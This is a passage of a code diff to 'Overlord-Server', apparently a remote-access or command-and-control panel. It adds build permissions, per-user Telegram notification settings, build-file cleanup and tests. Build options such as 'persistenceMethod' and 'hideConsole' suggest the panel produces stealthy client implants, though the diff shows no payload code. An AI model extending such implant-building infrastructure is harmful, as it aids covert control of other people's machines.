(req.method === "POST" && url.pathname === "/api/build/start") { - requirePermission(user, "clients:control"); + requirePermission(user, "clients:build"); const body = await req.json(); const { @@ -131,22 +132,40 @@ export async function handleBuildRoutes( persistenceMethod: safePersistenceMethod, hideConsole: !!hideConsole, noPrinting: safeNoPrinting, + builtByUserId: user.userId, }); return Response.json({ buildId }); } if (req.method === "GET" && url.pathname === "/api/build/list") { - requirePermission(user, "clients:control"); + requirePermission(user, "clients:build"); const builds = getAllBuilds(); return Response.json({ builds }); } if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) { - requirePermission(user, "clients:control"); + requirePermission(user, "clients:build"); - const buildId = url.pathname.split("/")[3]; + const buildId = decodeURIComponent(url.pathname.split("/")[3]); + + const build = getBuild(buildId); + if (build?.files) { + const rootDir = resolveRuntimeRoot(); + const outDir = path.join(rootDir, "dist-clients"); + for (const file of build.files) { + try { + const filePath = path.join(outDir, file.filename); + if (fs.existsSync(filePath)) { + fs.unlinkSync(filePath); + logger.info(`[build:delete] Removed file: ${filePath}`); + } + } catch (err) { + logger.warn(`[build:delete] Failed to remove file ${file.filename}:`, err); + } + } + } buildManager.deleteBuildStream(buildId); deleteBuild(buildId); @@ -161,11 +180,12 @@ export async function handleBuildRoutes( success: true, }); + logger.info(`[build:delete] Build ${buildId.substring(0, 8)} deleted by ${user.username}`); return Response.json({ success: true }); } if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/stream$/)) { - requirePermission(user, "clients:control"); + requirePermission(user, "clients:build"); const buildId = url.pathname.split("/")[3]; const build = buildManager.getBuildStream(buildId); @@ -219,7 +239,7 @@ export async function handleBuildRoutes( } if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/info$/)) { - requirePermission(user, "clients:control"); + requirePermission(user, "clients:build"); const buildId = url.pathname.split("/")[3]; const build = buildManager.getBuildStream(buildId); @@ -248,7 +268,7 @@ export async function handleBuildRoutes( } if (req.method === "GET" && url.pathname.match(/^\/api\/build\/download\//)) { - requirePermission(user, "clients:control"); + requirePermission(user, "clients:build"); const rawName = url.pathname.split("/api/build/download/")[1] || ""; let fileName = rawName; diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts index 658d2ca..170b7c4 100644 --- a/Overlord-Server/src/server/routes/misc-routes.ts +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -4,6 +4,7 @@ import { getConfig, updateSecurityConfig, updateTlsConfig } from "../../config"; import { getClientMetricsSummary } from "../../db"; import { metrics } from "../../metrics"; import { requirePermission } from "../../rbac"; +import { getUserTelegramChatId, setUserTelegramChatId } from "../../users"; import { runCertbotSetup } from "../certbot-setup"; type MiscRouteDeps = { @@ -66,6 +67,35 @@ export async function handleMiscRoutes( }); } + if (url.pathname === "/api/settings/telegram") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (req.method === "GET") { + const chatId = getUserTelegramChatId(user.userId); + return Response.json({ telegramChatId: chatId || "" }); + } + + if (req.method === "PUT") { + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ error: "Invalid JSON" }, { status: 400 }); + } + + const chatId = typeof body?.telegramChatId === "string" ? body.telegramChatId.trim() : null; + const result = setUserTelegramChatId(user.userId, chatId || null); + if (!result.success) { + return Response.json({ error: result.error }, { status: 400 }); + } + + return Response.json({ success: true, telegramChatId: chatId || "" }); + } + } + if (url.pathname === "/api/settings/security") { const user = await authenticateRequest(req); if (!user) { diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts index dc4ce05..8d7ee6e 100644 --- a/Overlord-Server/src/server/routes/page-routes.ts +++ b/Overlord-Server/src/server/routes/page-routes.ts @@ -203,6 +203,10 @@ export async function handlePageRoutes( return serveLoginOrUnauthorized(deps); } + if (user.role !== "admin" && user.role !== "operator") { + return new Response("Forbidden", { status: 403 }); + } + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; diff --git a/Overlord-Server/src/server/routes/users-routes.ts b/Overlord-Server/src/server/routes/users-routes.ts index 40a0572..c769710 100644 --- a/Overlord-Server/src/server/routes/users-routes.ts +++ b/Overlord-Server/src/server/routes/users-routes.ts @@ -14,6 +14,7 @@ import { removeUserClientAccessRule, setUserClientAccessRule, setUserClientAccessScope, + setUserCanBuild, updateUserPassword, updateUserRole, } from "../../users"; @@ -242,6 +243,13 @@ export async function handleUsersRoutes( return Response.json({ error: result.error }, { status: 400 }); } + if (access === "allow") { + const currentScope = getUserClientAccessScope(userId); + if (currentScope === "none") { + setUserClientAccessScope(userId, "allowlist"); + } + } + const ip = server.requestIP(req)?.address || "unknown"; logAudit({ timestamp: Date.now(), @@ -316,6 +324,34 @@ export async function handleUsersRoutes( return Response.json({ error: result.error }, { status: 400 }); } + if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/can-build$/)) { + const authedUser = requirePermission(user, "users:manage"); + const userId = parseInt(url.pathname.split("/")[3]); + const targetUser = getUserById(userId); + if (!targetUser) { + return Response.json({ error: "User not found" }, { status: 404 }); + } + + const body = await req.json(); + const canBuild = !!body?.canBuild; + const result = setUserCanBuild(userId, canBuild); + if (!result.success) { + return Response.json({ error: result.error }, { status: 400 }); + } + + const ip = server.requestIP(req)?.address || "unknown"; + logAudit({ + timestamp: Date.now(), + username: authedUser.username, + ip, + action: AuditAction.COMMAND, + details: `${canBuild ? "Granted" : "Revoked"} build permission for ${targetUser.username}`, + success: true, + }); + + return Response.json({ success: true, canBuild }); + } + return new Response("Not found", { status: 404 }); } catch (error) { if (error instanceof Response) { diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 5860380..f3e1e19 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -79,6 +79,7 @@ type WsLifecycleDeps = { notifyConsoleClosed: (clientId: string, reason: string) => void; clearPendingNotificationScreenshots: (clientId: string) => void; notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void; + handleBuildTagConnection: (clientId: string, buildTag: string) => void; }; export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLifecycleDeps): void { @@ -188,6 +189,11 @@ export function handleWebSocketMessage( details: JSON.stringify({ host: info.host, os: info.os, user: info.user }), }); (ws as any).data.wasKnown = true; + + const buildTag = typeof (payload as any).buildTag === "string" ? (payload as any).buildTag : ""; + if (buildTag) { + deps.handleBuildTagConnection(info.id, buildTag); + } } break; } diff --git a/Overlord-Server/src/users.build-permission.test.ts b/Overlord-Server/src/users.build-permission.test.ts new file mode 100644 index 0000000..7ff2a36 --- /dev/null +++ b/Overlord-Server/src/users.build-permission.test.ts @@ -0,0 +1,124 @@ +import { describe, expect, test } from "bun:test"; +import { + canBuildClients, + createUser, + deleteUser, + getUserByUsername, + hasPermission, + setUserCanBuild, +} from "./users"; + +const createdUserIds: number[] = []; + +async function createTempUser(role: "viewer" | "operator" | "admin") { + const username = `bp_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`; + const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test"); + expect(result.success).toBe(true); + const user = getUserByUsername(username); + expect(user).not.toBeNull(); + createdUserIds.push(user!.id); + return user!; +} + +function cleanupCreatedUsers() { + while (createdUserIds.length > 0) { + const id = createdUserIds.pop(); + if (typeof id === "number") { + deleteUser(id); + } + } +} + +describe("build permission (can_build)", () => { + test("admin always has build permission regardless of can_build flag", async () => { + try { + const admin = await createTempUser("admin"); + expect(canBuildClients(admin.id, admin.role)).toBe(true); + + setUserCanBuild(admin.id, false); + // Admin role always returns true + expect(canBuildClients(admin.id, "admin")).toBe(true); + } finally { + cleanupCreatedUsers(); + } + }); + + test("operator defaults to can_build = 1", async () => { + try { + const operator = await createTempUser("operator"); + expect(canBuildClients(operator.id, operator.role)).toBe(true); + } finally { + cleanupCreatedUsers(); + } + }); + + test("viewer defaults to can_build = 0", async () => { + try { + const viewer = await createTempUser("viewer"); + expect(canBuildClients(viewer.id, viewer.role)).toBe(false); + } finally { + cleanupCreatedUsers(); + } + }); + + test("revoking build permission denies building for non-admin", async () => { + try { + const operator = await createTempUser("operator"); + expect(canBuildClients(operator.id, operator.role)).toBe(true); + + const result = setUserCanBuild(operator.id, false); + expect(result.success).toBe(true); + + expect(canBuildClients(operator.id, operator.role)).toBe(false); + } finally { + cleanupCreatedUsers(); + } + }); + + test("granting build permission re-enables building", async () => { + try { + const viewer = await createTempUser("viewer"); + + expect(canBuildClients(viewer.id, viewer.role)).toBe(false); + + setUserCanBuild(viewer.id, true); + expect(canBuildClients(viewer.id, viewer.role)).toBe(true); + + setUserCanBuild(viewer.id, false); + expect(canBuildClients(viewer.id, viewer.role)).toBe(false); + } finally { + cleanupCreatedUsers(); + } + }); + + test("hasPermission for clients:build uses userId when provided", async () => { + try { + const operator = await createTempUser("operator"); + + expect(hasPermission(operator.role, "clients:build", operator.id)).toBe(true); + + setUserCanBuild(operator.id, false); + expect(hasPermission(operator.role, "clients:build", operator.id)).toBe(false); + } finally { + cleanupCreatedUsers(); + } + }); + + test("hasPermission for clients:build without userId falls back to role check", () => { + expect(hasPermission("admin", "clients:build")).toBe(true); + expect(hasPermission("operator", "clients:build")).toBe(true); + expect(hasPermission("viewer", "clients:build")).toBe(false); + }); + + test("other permissions are unaffected by can_build", async () => { + try { + const operator = await createTempUser("operator"); + setUserCanBuild(operator.id, false); + + expect(hasPermission(operator.role, "clients:control", operator.id)).toBe(true); + expect(hasPermission(operator.role, "users:manage", operator.id)).toBe(false); + } finally { + cleanupCreatedUsers(); + } + }); +}); diff --git a/Overlord-Server/src/users.telegram.test.ts b/Overlord-Server/src/users.telegram.test.ts new file mode 100644 index 0000000..e647aa1 --- /dev/null +++ b/Overlord-Server/src/users.telegram.test.ts @@ -0,0 +1,153 @@ +import { describe, expect, test } from "bun:test"; +import { + createUser, + deleteUser, + getUserByUsername, + getUserTelegramChatId, + getUsersWithTelegramChatId, + setUserTelegramChatId, + setUserClientAccessScope, + setUserClientAccessRule, + canUserAccessClient, +} from "./users"; + +const createdUserIds: number[] = []; + +async function createTempUser(role: "viewer" | "operator" | "admin") { + const username = `tg_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`; + const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test"); + expect(result.success).toBe(true); + const user = getUserByUsername(username); + expect(user).not.toBeNull(); + createdUserIds.push(user!.id); + return user!; +} + +function cleanupCreatedUsers() { + while (createdUserIds.length > 0) { + const id = createdUserIds.pop(); + if (typeof id === "number") { + deleteUser(id); + } + } +} + +describe("per-user Telegram settings", () => { + test("new user has no telegram chat ID", async () => { + try { + const user = await createTempUser("operator"); + expect(getUserTelegramChatId(user.id)).toBeNull(); + } finally { + cleanupCreatedUsers(); + } + }); + + test("setUserTelegramChatId stores and retrieves chat ID", async () => { + try { + const user = await createTempUser("operator"); + + const result = setUserTelegramChatId(user.id, "123456789"); + expect(result.success).toBe(true); + + expect(getUserTelegramChatId(user.id)).toBe("123456789"); + } finally { + cleanupCreatedUsers(); + } + }); + + test("setUserTelegramChatId with null clears the chat ID", async () => { + try { + const user = await createTempUser("viewer"); + + setUserTelegramChatId(user.id, "987654321"); + expect(getUserTelegramChatId(user.id)).toBe("987654321"); + + setUserTelegramChatId(user.id, null); + expect(getUserTelegramChatId(user.id)).toBeNull(); + } finally { + cleanupCreatedUsers(); + } + }); + + test("getUsersWithTelegramChatId returns only users with configured chat IDs", async () => { + try { + const user1 = await createTempUser("operator"); + const user2 = await createTempUser("viewer"); + const user3 = await createTempUser("operator"); + + setUserTelegramChatId(user1.id, "chat_111"); + // user2 has no chat ID + setUserTelegramChatId(user3.id, "chat_333"); + + const withChatId = getUsersWithTelegramChatId(); + const ourUsers = withChatId.filter((u) => [user1.id, user2.id, user3.id].includes(u.id)); + + expect(ourUsers.length).toBe(2); + expect(ourUsers.some((u) => u.id === user1.id && u.telegram_chat_id === "chat_111")).toBe(true); + expect(ourUsers.some((u) => u.id === user3.id && u.telegram_chat_id === "chat_333")).toBe(true); + expect(ourUsers.some((u) => u.id === user2.id)).toBe(false); + } finally { + cleanupCreatedUsers(); + } + }); + + test("getUsersWithTelegramChatId returns role and client_scope", async () => { + try { + const operator = await createTempUser("operator"); + setUserTelegramChatId(operator.id, "chat_op"); + setUserClientAccessScope(operator.id, "allowlist"); + + const users = getUsersWithTelegramChatId(); + const found = users.find((u) => u.id === operator.id); + expect(found).not.toBeNull(); + expect(found!.role).toBe("operator"); + expect(found!.client_scope).toBe("allowlist"); + } finally { + cleanupCreatedUsers(); + } + }); + + test("per-user notification filtering respects client access", async () => { + try { + const operator = await createTempUser("operator"); + setUserTelegramChatId(operator.id, "chat_filter"); + setUserClientAccessScope(operator.id, "allowlist"); + setUserClientAccessRule(operator.id, "allowed-client", "allow"); + + // Operator should see allowed-client but not other-client + expect(canUserAccessClient(operator.id, operator.role, "allowed-client")).toBe(true); + expect(canUserAccessClient(operator.id, operator.role, "other-client")).toBe(false); + + // This simulates what the notification delivery does: + // get users with chat IDs, then filter by canUserAccessClient + const recipients = getUsersWithTelegramChatId(); + const opRecipient = recipients.find((r) => r.id === operator.id); + expect(opRecipient).not.toBeNull(); + + const canAccessAllowed = canUserAccessClient(operator.id, operator.role, "allowed-client"); + const canAccessOther = canUserAccessClient(operator.id, operator.role, "other-client"); + + expect(canAccessAllowed).toBe(true); + expect(canAccessOther).toBe(false); + } finally { + cleanupCreatedUsers(); + } + }); + + test("admin with telegram chat ID can access all clients", async () => { + try { + const admin = await createTempUser("admin"); + setUserTelegramChatId(admin.id, "chat_admin"); + + expect(canUserAccessClient(admin.id, admin.role, "any-client-1")).toBe(true); + expect(canUserAccessClient(admin.id, admin.role, "any-client-2")).toBe(true); + + const recipients = getUsersWithTelegramChatId(); + const adminRecipient = recipients.find((r) => r.id === admin.id); + expect(adminRecipient).not.toBeNull(); + expect(adminRecipient!.telegram_chat_id).toBe("chat_admin"); + } finally { + cleanupCreatedUsers(); + } + }); +}); diff --git a/Overlord-Server/src/users.ts b/Overlord-Server/src/users.ts index 24e58a2..d64cc06 100644 --- a/Overlord-Server/src/users.ts +++ b/Overlord-Server/src/users.ts @@ -22,6 +22,8 @@ export interface User { created_by: string | null; must_change_password: number; client_scope: ClientAccessScope; + can_build: number; + telegram_chat_id: string | null; } export interface UserInfo { @@ -32,6 +34,8 @@ export interface UserInfo { last_login: number | null; created_by: string | null; client_scope: ClientAccessScope; + can_build: number; + telegram_chat_id: string | null; } export interface UserClientAccessRule { @@ -97,6 +101,34 @@ try { logger.error("[users] Failed to normalize admin client_scope:", err); } +try { + db.exec( + `ALTER TABLE users ADD COLUMN can_build INTEGER NOT NULL DEFAULT 0`, + ); + logger.info("[users] Added can_build column to existing database"); + + try { + db.exec(`UPDATE users SET can_build=1 WHERE role='admin' OR role='operator'`); + } catch (err: any) { + logger.error("[users] Failed to backfill admin/operator can_build:", err); + } +} catch (err: any) { + if (!err.message?.includes("duplicate column name")) { + logger.error("[users] Migration error:", err); + } +} + +try { + db.exec( + `ALTER TABLE users ADD COLUMN telegram_chat_id TEXT DEFAULT NULL`, + ); + logger.info("[users] Added telegram_chat_id column to existing database"); +} catch (err: any) { + if (!err.message?.includes("duplicate column name")) { + logger.error("[users] Migration error:", err); + } +} + const userCount = db.prepare("SELECT COUNT(*) as count FROM users").get() as { count: number; }; @@ -112,8 +144,8 @@ if (userCount.count === 0) { }); db.prepare( - "INSERT INTO users (username, password_hash, role, created_at, created_by, must_change_password, client_scope) VALUES (?, ?, ?, ?, ?, ?, ?)", - ).run(initialUsername, defaultPassword, "admin", Date.now(), "system", 1, "all"); + "INSERT INTO users (username, password_hash, role, created_at, created_by, must_change_password, client_scope, can_build) VALUES (?, ?, ?, ?, ?, ?, ?, ?)", + ).run(initialUsername, defaultPassword, "admin", Date.now(), "system", 1, "all", 1); const createdUser = db .prepare("SELECT * FROM users WHERE username = ?") @@ -149,7 +181,7 @@ export function getUserByUsername(username: string): User | null { export function listUsers(): UserInfo[] { const users = db .prepare( - "SELECT id, username, role, created_at, last_login, created_by, client_scope FROM users ORDER BY created_at DESC", + "SELECT id, username, role, created_at, last_login, created_by, client_scope, can_build, telegram_chat_id FROM users ORDER BY created_at DESC", ) .all() as UserInfo[]; return users; @@ -328,9 +360,9 @@ export async function createUser( const result = db .prepare( - "INSERT INTO users (username, password_hash, role, created_at, created_by, client_scope) VALUES (?, ?, ?, ?, ?, ?)", + "INSERT INTO users (username, password_hash, role, created_at, created_by, client_scope, can_build) VALUES (?, ?, ?, ?, ?, ?, ?)", ) - .run(username, passwordHash, role, Date.now(), createdBy, role === "admin" ? "all" : "none"); + .run(username, passwordHash, role, Date.now(), createdBy, role === "admin" ? "all" : "none", role === "admin" || role === "operator" ? 1 : 0); return { success: true, userId: result.lastInsertRowid as number }; } catch (err: any) { @@ -440,11 +472,17 @@ export function canViewClients(role: UserRole): boolean { return role === "admin"; } +export function canBuildClients(userId: number, role: UserRole): boolean { + if (role === "admin") return true; + const user = getUserById(userId); + return user ? user.can_build === 1 : false; +} + export function canViewAuditLogs(role: UserRole): boolean { return role === "admin"; } -export function hasPermission(role: UserRole, permission: string): boolean { +export function hasPermission(role: UserRole, permission: string, userId?: number): boolean { switch (permission) { case "users:manage": return canManageUsers(role); @@ -452,9 +490,53 @@ export function hasPermission(role: UserRole, permission: string): boolean { return canControlClients(role); case "clients:view": return canViewClients(role); + case "clients:build": + if (userId !== undefined) return canBuildClients(userId, role); + return role === "admin" || role === "operator"; case "audit:view": return canViewAuditLogs(role); default: return false; } } + +export function setUserCanBuild( + userId: number, + canBuild: boolean, +): { success: boolean; error?: string } { + try { + db.prepare("UPDATE users SET can_build = ? WHERE id = ?").run(canBuild ? 1 : 0, userId); + return { success: true }; + } catch (err: any) { + logger.error("[users] setUserCanBuild error:", err); + return { success: false, error: err.message || "Failed to update build permission" }; + } +} + +export function setUserTelegramChatId( + userId: number, + chatId: string | null, +): { success: boolean; error?: string } { + try { + db.prepare("UPDATE users SET telegram_chat_id = ? WHERE id = ?").run(chatId, userId); + return { success: true }; + } catch (err: any) { + logger.error("[users] setUserTelegramChatId error:", err); + return { success: false, error: err.message || "Failed to update Telegram chat ID" }; + } +} + +export function getUserTelegramChatId(userId: number): string | null { + const row = db + .prepare("SELECT telegram_chat_id FROM users WHERE id = ?") + .get(userId) as { telegram_chat_id?: string | null } | undefined; + return row?.telegram_chat_id || null; +} + +export function getUsersWithTelegramChatId(): Array<{ id: number; username: string; role: UserRole; client_scope: ClientAccessScope; telegram_chat_id: string }> { + return db + .prepare( + "SELECT id, username, role, client_scope, telegram_chat_id FROM users WHERE telegram_chat_id IS NOT NULL AND telegram_chat_id != ''", + ) + .all() as any[]; +}